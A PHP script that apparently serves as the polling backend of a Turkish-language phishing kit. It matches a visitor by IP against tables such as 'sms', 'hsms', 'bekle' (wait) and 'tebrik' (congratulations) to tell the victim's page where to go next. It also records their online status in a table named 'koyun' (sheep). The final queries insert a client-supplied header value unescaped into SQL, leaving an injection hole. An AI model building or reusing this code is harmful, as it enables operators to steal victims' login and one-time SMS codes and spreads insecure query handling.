<?php 
include 'db.php';
session_start();

if(empty($_SERVER['HTTP_CF_CONNECTING_IP'])){
	$_SERVER['HTTP_CF_CONNECTING_IP'] = $_SERVER['REMOTE_ADDR'];
}
$_SESSION['ip'] = $_SERVER['HTTP_CF_CONNECTING_IP'];
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
/* sms */

$q = $db->prepare("SELECT ip FROM sms WHERE ip = :ip");
$q->bindParam(':ip', $_SESSION['ip']);
$q->execute();
$f = $q->fetch(PDO::FETCH_OBJ);

if(!empty($f)){
	$q = $db->prepare("DELETE FROM sms WHERE ip = :ip");
	$q->bindParam(':ip', $_SESSION['ip']);
	$q->execute();
	$data = [
		'status' => 'sms'
	];
	die(json_encode($data));
}

/* hsms */

$q = $db->prepare("SELECT ip FROM hsms WHERE ip = :ip");
$q->bindParam(':ip', $_SESSION['ip']);
$q->execute();
$f = $q->fetch(PDO::FETCH_OBJ);

if(!empty($f)){
	$q = $db->prepare("DELETE FROM hsms WHERE ip = :ip");
	$q->bindParam(':ip', $_SESSION['ip']);
	$q->execute();
	$data = [
		'status' => 'hsms'
	];
	die(json_encode($data));
}

/* tebrik */

$q = $db->prepare("SELECT ip FROM tebrik WHERE ip = :ip");
$q->bindParam(':ip', $_SESSION['ip']);
$q->execute();
$f = $q->fetch(PDO::FETCH_OBJ);

if(!empty($f)){
	$q = $db->prepare("DELETE FROM tebrik WHERE ip = :ip");
	$q->bindParam(':ip', $_SESSION['ip']);
	$q->execute();
	$data = [
		'status' => 'tebrik'
	];
	die(json_encode($data));
}

/* bekle */

$q = $db->prepare("SELECT ip FROM bekle WHERE ip = :ip");
$q->bindParam(':ip', $_SESSION['ip']);
$q->execute();
$f = $q->fetch(PDO::FETCH_OBJ);

if(!empty($f)){
	$q = $db->prepare("DELETE FROM bekle WHERE ip = :ip");
	$q->bindParam(':ip', $_SESSION['ip']);
	$q->execute();
	$data = [
		'status' => 'bekle'
	];
	die(json_encode($data));
}

/* index */

$q = $db->prepare("SELECT ip FROM indexx WHERE ip = :ip");
$q->bindParam(':ip', $_SESSION['ip']);
$q->execute();
$f = $q->fetch(PDO::FETCH_OBJ);

if(!empty($f)){
	$q = $db->prepare("DELETE FROM indexx WHERE ip = :ip");
	$q->bindParam(':ip', $_SESSION['ip']);
	$q->execute();
	$data = [
		'status' => 'index'
	];
	die(json_encode($data));
}

/* priv */

$q = $db->prepare("SELECT ip FROM priv WHERE ip = :ip");
$q->bindParam(':ip', $_SESSION['ip']);
$q->execute();
$f = $q->fetch(PDO::FETCH_OBJ);

if(!empty($f)){
	$q = $db->prepare("DELETE FROM priv WHERE ip = :ip");
	$q->bindParam(':ip', $_SESSION['ip']);
	$q->execute();
	$data = [
		'status' => 'priv'
	];
	die(json_encode($data));
}

$timex = time()+7;
$db->query("UPDATE koyun SET lastOnline = '$timex' WHERE ip = '$ip'");

$query = $db->query("SELECT * FROM ips WHERE ipAddress = '$ip'")->fetch(PDO::FETCH_ASSOC);
if($query) {
    $db->query("UPDATE ips SET lastOnline = '$timex' WHERE ipAddress = '$ip'");
} else {
    $query = $db->prepare("INSERT INTO ips SET ipAddress = ?, lastOnline = ?");
    $insert = $query->execute(array($ip, $timex));
}
?>